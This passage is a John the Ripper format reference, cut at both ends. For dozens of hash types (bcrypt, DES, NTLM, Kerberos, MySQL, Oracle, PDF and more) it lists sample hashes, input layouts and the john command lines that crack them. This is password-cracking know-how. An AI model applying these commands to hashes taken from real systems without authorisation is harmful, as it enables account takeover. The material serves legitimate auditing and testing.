    $ cat hashes.txt
    +C/.8o.Wuph9.
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Traditional DES".
    $ john --format=bfegg hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:+C/.8o.Wuph9.
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Traditional DES".
    $ john --format=bfegg hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:+C/.8o.Wuph9.:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Traditional DES".
    $ john --format=bfegg hashes.txt
[/code]

## bf – OpenBSD Blowfish

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $2a$05$CCCCCCCCCCCCCCCCCCCCC.7uG0VCzI2bS7j6ymqJi9CdcdxiRTWNy
    $ john hashes.txt
    $ john --format=bf hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$2a$05$CCCCCCCCCCCCCCCCCCCCC.7uG0VCzI2bS7j6ymqJi9CdcdxiRTWNy
    $ john hashes.txt
    $ john --format=bf hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$2a$05$CCCCCCCCCCCCCCCCCCCCC.7uG0VCzI2bS7j6ymqJi9CdcdxiRTWNy:::::::
    $ john hashes.txt
    $ john --format=bf hashes.txt
[/code]

## bsdi – BSDI DES

### Supported Hash Formats

[code]

    $ cat hashes.txt
    _J9..SDSD5YGyRCr4W4c
    $ john hashes.txt
    $ john --format=bsdi hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:_J9..SDSD5YGyRCr4W4c
    $ john hashes.txt
    $ john --format=bsdi hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:_J9..SDSD5YGyRCr4W4c:::::::
    $ john hashes.txt
    $ john --format=bsdi hashes.txt
[/code]

## crypt – generic crypt\(3\)

### Supported Hash Formats

[code]

    $ cat hashes.txt
    SDbsugeBiC58A
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Traditional DES".
    $ john --format=crypt hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:SDbsugeBiC58A
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Traditional DES".
    $ john --format=crypt hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:SDbsugeBiC58A:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "Traditional DES".
    $ john --format=crypt hashes.txt
[/code]

## des – Traditional DES

### Supported Hash Formats

[code]

    $ cat hashes.txt
    SDbsugeBiC58A
    $ john hashes.txt
    $ john --format=des hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:SDbsugeBiC58A
    $ john hashes.txt
    $ john --format=des hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:SDbsugeBiC58A:::::::
    $ john hashes.txt
    $ john --format=des hashes.txt
[/code]

## dmd5 – DIGEST-MD5

### Supported Hash Formats

TODO: No working example yet.

## dominosec – More Secure Internet Password

### Supported Hash Formats

[code]

    $ cat hashes.txt
    (GVMroLzc50YK/Yd+L8KH)
    $ john hashes.txt
    $ john --format=dominosec hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:(GVMroLzc50YK/Yd+L8KH)
    $ john hashes.txt
    $ john --format=dominosec hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:(GVMroLzc50YK/Yd+L8KH):::::::
    $ john hashes.txt
    $ john --format=dominosec hashes.txt
[/code]

## <none> – EPiServer SID Hashes

### Supported Hash Formats

[code]

    $ cat hashes.txt
    0x5F1D84A6DE97E2BEFB637A3CB5318AFEF0750B856CF1836BD1D4470175BE 0x4D5EFDFA143EDF74193076F174AC47CEBF2F417F
    $ john hashes.txt
    $ # NB: There is no --format option for this hash type
[/code]

[code]

    $ cat hashes.txt
    username:0x5F1D84A6DE97E2BEFB637A3CB5318AFEF0750B856CF1836BD1D4470175BE 0x4D5EFDFA143EDF74193076F174AC47CEBF2F417F
    $ john hashes.txt
    $ # NB: There is no --format option for this hash type
[/code]

[code]

    $ cat hashes.txt
    username:0x5F1D84A6DE97E2BEFB637A3CB5318AFEF0750B856CF1836BD1D4470175BE 0x4D5EFDFA143EDF74193076F174AC47CEBF2F417F:::::::
    $ john hashes.txt
    $ # NB: There is no --format option for this hash type
[/code]

## hdaa – HTTP Digest access authentication

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth
    $ john hashes.txt
    $ john --format=hdaa hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth
    $ john hashes.txt
    $ john --format=hdaa hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth:::::::
    $ john hashes.txt
    $ john --format=hdaa hashes.txt
[/code]

## hmac-md5 – HMAC MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    what do ya want for nothing?#750c783e6ab0b503eaa86e310a5db738
    $ john hashes.txt
    $ john --format=hmac-md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:what do ya want for nothing?#750c783e6ab0b503eaa86e310a5db738
    $ john hashes.txt
    $ john --format=hmac-md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:what do ya want for nothing?#750c783e6ab0b503eaa86e310a5db738:::::::
    $ john hashes.txt
    $ john --format=hmac-md5 hashes.txt
[/code]

## hmailserver – hmailserver

### Supported Hash Formats

[code]

    $ cat hashes.txt
    cc06fa688a64cdeea43d3c0fb761fede7e3ccf00a9daea9c79f7d458e06f88327f16dd
    $ john hashes.txt
    $ john --format=hmailserver hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:cc06fa688a64cdeea43d3c0fb761fede7e3ccf00a9daea9c79f7d458e06f88327f16dd
    $ john hashes.txt
    $ john --format=hmailserver hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:cc06fa688a64cdeea43d3c0fb761fede7e3ccf00a9daea9c79f7d458e06f88327f16dd:::::::
    $ john hashes.txt
    $ john --format=hmailserver hashes.txt
[/code]

## ipb2 – IPB2 MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $IPB2$2e75504633$d891f03a7327639bc632d62a7f302604
    $ john hashes.txt
    $ john --format=ipb2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$IPB2$2e75504633$d891f03a7327639bc632d62a7f302604
    $ john hashes.txt
    $ john --format=ipb2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$IPB2$2e75504633$d891f03a7327639bc632d62a7f302604:::::::
    $ john hashes.txt
    $ john --format=ipb2 hashes.txt
[/code]

## krb4 – Kerberos v4 TGT

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $af$ENGIN.UMICH.EDU$44feffd06e68e30bc8890e253760858d
    $ john hashes.txt
    $ john --format=krb4 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$af$ENGIN.UMICH.EDU$44feffd06e68e30bc8890e253760858d
    $ john hashes.txt
    $ john --format=krb4 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$af$ENGIN.UMICH.EDU$44feffd06e68e30bc8890e253760858d:::::::
    $ john hashes.txt
    $ john --format=krb4 hashes.txt
[/code]

## krb5 – Kerberos v5 TGT

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $krb5$oskov$ACM.UIUC.EDU$4730d7249765615d6f3652321c4fb76d09fb9cd06faeb0c31b8737f9fdfcde4bd4259c31cb1dff25df39173b09abdff08373302d99ac09802a290915243d9f0ea0313fdedc7f8d1fae0d9df8f0ee6233818d317f03a72c2e77b480b2bc50d1ca14fba85133ea00e472c50dbc825291e2853bd60a969ddb69dae35b604b34ea2c2265a4ffc72e9fb811da17c7f2887ccb17e2f87cd1f6c28a9afc0c083a9356a9ee2a28d2e4a01fc7ea90cc8836b8e25650c3a1409b811d0bad42a59aa418143291d42d7b1e6cb5b1876a4cc758d721323a762e943f774630385c9faa68df6f3a94422f97
    $ john hashes.txt
    $ john --format=krb5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$krb5$oskov$ACM.UIUC.EDU$4730d7249765615d6f3652321c4fb76d09fb9cd06faeb0c31b8737f9fdfcde4bd4259c31cb1dff25df39173b09abdff08373302d99ac09802a290915243d9f0ea0313fdedc7f8d1fae0d9df8f0ee6233818d317f03a72c2e77b480b2bc50d1ca14fba85133ea00e472c50dbc825291e2853bd60a969ddb69dae35b604b34ea2c2265a4ffc72e9fb811da17c7f2887ccb17e2f87cd1f6c28a9afc0c083a9356a9ee2a28d2e4a01fc7ea90cc8836b8e25650c3a1409b811d0bad42a59aa418143291d42d7b1e6cb5b1876a4cc758d721323a762e943f774630385c9faa68df6f3a94422f97
    $ john hashes.txt
    $ john --format=krb5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$krb5$oskov$ACM.UIUC.EDU$4730d7249765615d6f3652321c4fb76d09fb9cd06faeb0c31b8737f9fdfcde4bd4259c31cb1dff25df39173b09abdff08373302d99ac09802a290915243d9f0ea0313fdedc7f8d1fae0d9df8f0ee6233818d317f03a72c2e77b480b2bc50d1ca14fba85133ea00e472c50dbc825291e2853bd60a969ddb69dae35b604b34ea2c2265a4ffc72e9fb811da17c7f2887ccb17e2f87cd1f6c28a9afc0c083a9356a9ee2a28d2e4a01fc7ea90cc8836b8e25650c3a1409b811d0bad42a59aa418143291d42d7b1e6cb5b1876a4cc758d721323a762e943f774630385c9faa68df6f3a94422f97:::::::
    $ john hashes.txt
    $ john --format=krb5 hashes.txt
[/code]

## lm – LM DES

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $LM$a9c604d244c4e99d
    $ john hashes.txt
    $ john --format=lm hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$LM$a9c604d244c4e99d
    $ john hashes.txt
    $ john --format=lm hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$LM$a9c604d244c4e99d:::::::
    $ john hashes.txt
    $ john --format=lm hashes.txt
[/code]

## lotus5 – Lotus5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    355E98E7C7B59BD810ED845AD0FD2FC4
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=lotus5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:355E98E7C7B59BD810ED845AD0FD2FC4
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=lotus5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:355E98E7C7B59BD810ED845AD0FD2FC4:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "LM DES".
    $ john --format=lotus5 hashes.txt
[/code]

## md4-gen – Generic salted MD4

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $MD4p$salt$15ad2b7a23e5088942f9d3772181b384
    $ john hashes.txt
    $ john --format=md4-gen hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$MD4p$salt$15ad2b7a23e5088942f9d3772181b384
    $ john hashes.txt
    $ john --format=md4-gen hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$MD4p$salt$15ad2b7a23e5088942f9d3772181b384:::::::
    $ john hashes.txt
    $ john --format=md4-gen hashes.txt
[/code]

## md5 – FreeBSD MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $1$12345678$aIccj83HRDBo6ux1bVx7D1
    $ john hashes.txt
    $ john --format=md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$1$12345678$aIccj83HRDBo6ux1bVx7D1
    $ john hashes.txt
    $ john --format=md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$1$12345678$aIccj83HRDBo6ux1bVx7D1:::::::
    $ john hashes.txt
    $ john --format=md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    $apr1$Q6ZYh...$RV6ft2bZ8j.NGrxLYaJt9.
    $ john hashes.txt
    $ john --format=md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$apr1$Q6ZYh...$RV6ft2bZ8j.NGrxLYaJt9.
    $ john hashes.txt
    $ john --format=md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$apr1$Q6ZYh...$RV6ft2bZ8j.NGrxLYaJt9.:::::::
    $ john hashes.txt
    $ john --format=md5 hashes.txt
[/code]

## md5-gen – Generic MD5

### Supported Hash Formats

TODO: No working example yet.

## mediawiki – MediaWiki MD5s

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $B$113$de2874e33da25313d808d2a8cbf31485
    $ john hashes.txt
    $ john --format=mediawiki hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$B$113$de2874e33da25313d808d2a8cbf31485
    $ john hashes.txt
    $ john --format=mediawiki hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$B$113$de2874e33da25313d808d2a8cbf31485:::::::
    $ john hashes.txt
    $ john --format=mediawiki hashes.txt
[/code]

## mscash – M$ Cache Hash

### Supported Hash Formats

[code]

    $ cat hashes.txt
    M$test1#64cd29e36a8431a2b111378564a10631
    $ john hashes.txt # Doesn't work.  JTR detects hash as "HMAC MD5".
    $ john --format=mscash hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:M$test1#64cd29e36a8431a2b111378564a10631
    $ john hashes.txt # Doesn't work.  JTR detects hash as "HMAC MD5".
    $ john --format=mscash hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:M$test1#64cd29e36a8431a2b111378564a10631:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "HMAC MD5".
    $ john --format=mscash hashes.txt
[/code]

## mscash2 – M$ Cache Hash 2 \(DCC2\)

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $DCC2$10240#test1#607bbe89611e37446e736f7856515bf8
    $ john hashes.txt # Doesn't work.  JTR detects hash as "M$ Cache Hash".
    $ john --format=mscash2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$DCC2$10240#test1#607bbe89611e37446e736f7856515bf8
    $ john hashes.txt
    $ john --format=mscash2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$DCC2$10240#test1#607bbe89611e37446e736f7856515bf8:::::::
    $ john hashes.txt
    $ john --format=mscash2 hashes.txt
[/code]

## mschapv2 – MSCHAPv2 C/R MD4 DES

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $MSCHAPv2$d94e7c7972b2376b28c268583e162de7$eba25a3b04d2c7085d01f842e2befc91745c40db0f792356$0677ca7318fd7f65ae1b4f58c9f4f400$lameuser
    $ john hashes.txt
    $ john --format=mschapv2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$MSCHAPv2$d94e7c7972b2376b28c268583e162de7$eba25a3b04d2c7085d01f842e2befc91745c40db0f792356$0677ca7318fd7f65ae1b4f58c9f4f400$lameuser
    $ john hashes.txt
    $ john --format=mschapv2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$MSCHAPv2$d94e7c7972b2376b28c268583e162de7$eba25a3b04d2c7085d01f842e2befc91745c40db0f792356$0677ca7318fd7f65ae1b4f58c9f4f400$lameuser:::::::
    $ john hashes.txt
    $ john --format=mschapv2 hashes.txt
[/code]

## mskrb5 – MS Kerberos 5 AS-REQ Pre-Auth

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $mskrb5$$$98cd00b6f222d1d34e08fe0823196e0b$5937503ec29e3ce4e94a051632d0fff7b6781f93e3decf7dca707340239300d602932154
    $ john hashes.txt
    $ john --format=mskrb5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$mskrb5$$$98cd00b6f222d1d34e08fe0823196e0b$5937503ec29e3ce4e94a051632d0fff7b6781f93e3decf7dca707340239300d602932154
    $ john hashes.txt
    $ john --format=mskrb5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$mskrb5$$$98cd00b6f222d1d34e08fe0823196e0b$5937503ec29e3ce4e94a051632d0fff7b6781f93e3decf7dca707340239300d602932154:::::::
    $ john hashes.txt
    $ john --format=mskrb5 hashes.txt
[/code]

## mssql05 – MS-SQL05

### Supported Hash Formats

[code]

    $ cat hashes.txt
    0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908
    $ john hashes.txt
    $ john --format=mssql05 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908
    $ john hashes.txt
    $ john --format=mssql05 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908:::::::
    $ john hashes.txt
    $ john --format=mssql05 hashes.txt
[/code]

## mssql – MS-SQL

### Supported Hash Formats

[code]

    $ cat hashes.txt
    0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254
    $ john hashes.txt
    $ john --format=mssql hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254
    $ john hashes.txt
    $ john --format=mssql hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254:::::::
    $ john hashes.txt
    $ john --format=mssql hashes.txt
[/code]

## mysql-fast – MYSQL\_fast

### Supported Hash Formats

[code]

    $ cat hashes.txt
    60671c896665c3fa
    $ john hashes.txt
    $ john --format=mysql-fast hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:60671c896665c3fa
    $ john hashes.txt
    $ john --format=mysql-fast hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:60671c896665c3fa:::::::
    $ john hashes.txt
    $ john --format=mysql-fast hashes.txt
[/code]

## mysql – MYSQL

### Supported Hash Formats

[code]

    $ cat hashes.txt
    5d2e19393cc5ef67
    $ john hashes.txt # Doesn't work.  JTR detects hash as "MYSQL_fast".
    $ john --format=mysql hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:5d2e19393cc5ef67
    $ john hashes.txt # Doesn't work.  JTR detects hash as "MYSQL_fast".
    $ john --format=mysql hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:5d2e19393cc5ef67:::::::
    $ john hashes.txt # Doesn't work.  JTR detects hash as "MYSQL_fast".
    $ john --format=mysql hashes.txt
[/code]

## mysql-sha1 – MySQL 4.1 double-SHA-1

### Supported Hash Formats

[code]

    $ cat hashes.txt
    *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    $ john hashes.txt
    $ john --format=mysql-sha1 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    $ john hashes.txt
    $ john --format=mysql-sha1 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:::::::
    $ john hashes.txt
    $ john --format=mysql-sha1 hashes.txt
[/code]

## netlm – LM C/R DES

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $NETLM$1122334455667788$0836F085B124F33895875FB1951905DD2F85252CC731BB25
    $ john hashes.txt
    $ john --format=netlm hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETLM$1122334455667788$0836F085B124F33895875FB1951905DD2F85252CC731BB25
    $ john hashes.txt
    $ john --format=netlm hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETLM$1122334455667788$0836F085B124F33895875FB1951905DD2F85252CC731BB25:::::::
    $ john hashes.txt
    $ john --format=netlm hashes.txt
[/code]

## netlmv2 – LMv2 C/R MD4 HMAC-MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $NETLMv2$USER1$1122334455667788$B1D163EA5881504F3963DC50FCDC26C1$EB4D9E8138149E20
    $ john hashes.txt
    $ john --format=netlmv2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETLMv2$USER1$1122334455667788$B1D163EA5881504F3963DC50FCDC26C1$EB4D9E8138149E20
    $ john hashes.txt
    $ john --format=netlmv2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETLMv2$USER1$1122334455667788$B1D163EA5881504F3963DC50FCDC26C1$EB4D9E8138149E20:::::::
    $ john hashes.txt
    $ john --format=netlmv2 hashes.txt
[/code]

## netntlm – NTLMv1 C/R MD4 DES \[ESS MD5\]

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $NETNTLM$1122334455667788$B2B2220790F40C88BCFF347C652F67A7C4A70D3BEBD70233
    $ john hashes.txt
    $ john --format=netntlm hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETNTLM$1122334455667788$B2B2220790F40C88BCFF347C652F67A7C4A70D3BEBD70233
    $ john hashes.txt
    $ john --format=netntlm hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETNTLM$1122334455667788$B2B2220790F40C88BCFF347C652F67A7C4A70D3BEBD70233:::::::
    $ john hashes.txt
    $ john --format=netntlm hashes.txt
[/code]

## netntlmv2 – NTLMv2 C/R MD4 HMAC-MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $NETNTLMv2$NTLMV2TESTWORKGROUP$1122334455667788$07659A550D5E9D02996DFD95C87EC1D5$0101000000000000006CF6385B74CA01B3610B02D99732DD000000000200120057004F0052004B00470052004F00550050000100200044004100540041002E00420049004E0043002D0053004500430055005200490000000000
    $ john hashes.txt
    $ john --format=netntlmv2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETNTLMv2$NTLMV2TESTWORKGROUP$1122334455667788$07659A550D5E9D02996DFD95C87EC1D5$0101000000000000006CF6385B74CA01B3610B02D99732DD000000000200120057004F0052004B00470052004F00550050000100200044004100540041002E00420049004E0043002D0053004500430055005200490000000000
    $ john hashes.txt
    $ john --format=netntlmv2 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETNTLMv2$NTLMV2TESTWORKGROUP$1122334455667788$07659A550D5E9D02996DFD95C87EC1D5$0101000000000000006CF6385B74CA01B3610B02D99732DD000000000200120057004F0052004B00470052004F00550050000100200044004100540041002E00420049004E0043002D0053004500430055005200490000000000:::::::
    $ john hashes.txt
    $ john --format=netntlmv2 hashes.txt
[/code]

## nethalflm – HalfLM C/R DES

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $NETHALFLM$1122334455667788$6E1EC36D3417CE9E09A4424309F116C4C991948DAEB4ADAD
    $ john hashes.txt
    $ john --format=nethalflm hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETHALFLM$1122334455667788$6E1EC36D3417CE9E09A4424309F116C4C991948DAEB4ADAD
    $ john hashes.txt
    $ john --format=nethalflm hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NETHALFLM$1122334455667788$6E1EC36D3417CE9E09A4424309F116C4C991948DAEB4ADAD:::::::
    $ john hashes.txt
    $ john --format=nethalflm hashes.txt
[/code]

## md5ns – Netscreen MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    admin$nMjFM0rdC9iOc+xIFsGEm3LtAeGZhn
    $ john hashes.txt
    $ john --format=md5ns hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:admin$nMjFM0rdC9iOc+xIFsGEm3LtAeGZhn
    $ john hashes.txt
    $ john --format=md5ns hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:admin$nMjFM0rdC9iOc+xIFsGEm3LtAeGZhn:::::::
    $ john hashes.txt
    $ john --format=md5ns hashes.txt
[/code]

## nsldap – Netscape LDAP SHA

### Supported Hash Formats

[code]

    $ cat hashes.txt
    {SHA}cMiB1KJphN3OeV9vcYF8nPRIDnk=
    $ john hashes.txt
    $ john --format=nsldap hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:{SHA}cMiB1KJphN3OeV9vcYF8nPRIDnk=
    $ john hashes.txt
    $ john --format=nsldap hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:{SHA}cMiB1KJphN3OeV9vcYF8nPRIDnk=:::::::
    $ john hashes.txt
    $ john --format=nsldap hashes.txt
[/code]

## ssha – Netscape LDAP SSHA

### Supported Hash Formats

[code]

    $ cat hashes.txt
    {SSHA}WTT3B9Jjr8gOt0Q7WMs9/XvukyhTQj0Ns0jMKQ==
    $ john hashes.txt
    $ john --format=ssha hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:{SSHA}WTT3B9Jjr8gOt0Q7WMs9/XvukyhTQj0Ns0jMKQ==
    $ john hashes.txt
    $ john --format=ssha hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:{SSHA}WTT3B9Jjr8gOt0Q7WMs9/XvukyhTQj0Ns0jMKQ==:::::::
    $ john hashes.txt
    $ john --format=ssha hashes.txt
[/code]

## nt – NT MD4

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $NT$8846f7eaee8fb117ad06bdd830b7586c
    $ john hashes.txt
    $ john --format=nt hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NT$8846f7eaee8fb117ad06bdd830b7586c
    $ john hashes.txt
    $ john --format=nt hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$NT$8846f7eaee8fb117ad06bdd830b7586c:::::::
    $ john hashes.txt
    $ john --format=nt hashes.txt
[/code]

## openssha – OpenLDAP SSHA

### Supported Hash Formats

[code]

    $ cat hashes.txt
    {SSHA}hHSEPW3qeiOo5Pl2MpHQCXh0vgfyVR/X
    $ john hashes.txt
    $ john --format=openssha hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:{SSHA}hHSEPW3qeiOo5Pl2MpHQCXh0vgfyVR/X
    $ john hashes.txt
    $ john --format=openssha hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:{SSHA}hHSEPW3qeiOo5Pl2MpHQCXh0vgfyVR/X:::::::
    $ john hashes.txt
    $ john --format=openssha hashes.txt
[/code]

## oracle11 – Oracle 11g

### Supported Hash Formats

[code]

    $ cat hashes.txt
    5FDAB69F543563582BA57894FE1C1361FB8ED57B903603F2C52ED1B4D642
    $ john hashes.txt
    $ john --format=oracle11 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:5FDAB69F543563582BA57894FE1C1361FB8ED57B903603F2C52ED1B4D642
    $ john hashes.txt
    $ john --format=oracle11 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:5FDAB69F543563582BA57894FE1C1361FB8ED57B903603F2C52ED1B4D642:::::::
    $ john hashes.txt
    $ john --format=oracle11 hashes.txt
[/code]

## oracle – Oracle

### Supported Hash Formats

[code]

    $ cat hashes.txt
    O$SIMON#4F8BC1809CB2AF77
    $ john hashes.txt
    $ john --format=oracle hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:O$SIMON#4F8BC1809CB2AF77
    $ john hashes.txt
    $ john --format=oracle hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:O$SIMON#4F8BC1809CB2AF77:::::::
    $ john hashes.txt
    $ john --format=oracle hashes.txt
[/code]

## pdf – pdf

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $pdf$Standard*badad1e86442699427116d3e5d5271bc80a27814fc5e80f815efeef839354c5f*289ece9b5ce451a5d7064693dab3badf101112131415161718191a1b1c1d1e1f*16*34b1b6e593787af681a9b63fa8bf563b*1*1*0*1*4*128*-4*3*2
    $ john hashes.txt
    $ john --format=pdf hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$pdf$Standard*badad1e86442699427116d3e5d5271bc80a27814fc5e80f815efeef839354c5f*289ece9b5ce451a5d7064693dab3badf101112131415161718191a1b1c1d1e1f*16*34b1b6e593787af681a9b63fa8bf563b*1*1*0*1*4*128*-4*3*2
    $ john hashes.txt
    $ john --format=pdf hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$pdf$Standard*badad1e86442699427116d3e5d5271bc80a27814fc5e80f815efeef839354c5f*289ece9b5ce451a5d7064693dab3badf101112131415161718191a1b1c1d1e1f*16*34b1b6e593787af681a9b63fa8bf563b*1*1*0*1*4*128*-4*3*2:::::::
    $ john hashes.txt
    $ john --format=pdf hashes.txt
[/code]

## phpass-md5 – PHPass MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $H$9aaaaaSXBjgypwqm.JsMssPLiS8YQ00
    $ john hashes.txt
    $ john --format=phpass-md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$H$9aaaaaSXBjgypwqm.JsMssPLiS8YQ00
    $ john hashes.txt
    $ john --format=phpass-md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$H$9aaaaaSXBjgypwqm.JsMssPLiS8YQ00:::::::
    $ john hashes.txt
    $ john --format=phpass-md5 hashes.txt
[/code]

## phps – PHPS MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    $PHPS$433925$5d756853cd63acee76e6dcd6d3728447
    $ john hashes.txt
    $ john --format=phps hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$PHPS$433925$5d756853cd63acee76e6dcd6d3728447
    $ john hashes.txt
    $ john --format=phps hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:$PHPS$433925$5d756853cd63acee76e6dcd6d3728447:::::::
    $ john hashes.txt
    $ john --format=phps hashes.txt
[/code]

## pix-md5 – PIX MD5

### Supported Hash Formats

[code]

    $ cat hashes.txt
    NuLKvvWGg.x9HEKO
    $ john hashes.txt
    $ john --format=pix-md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
    username:NuLKvvWGg.x9HEKO
    $ john hashes.txt
    $ john --format=pix-md5 hashes.txt
[/code]

[code]

    $ cat hashes.txt
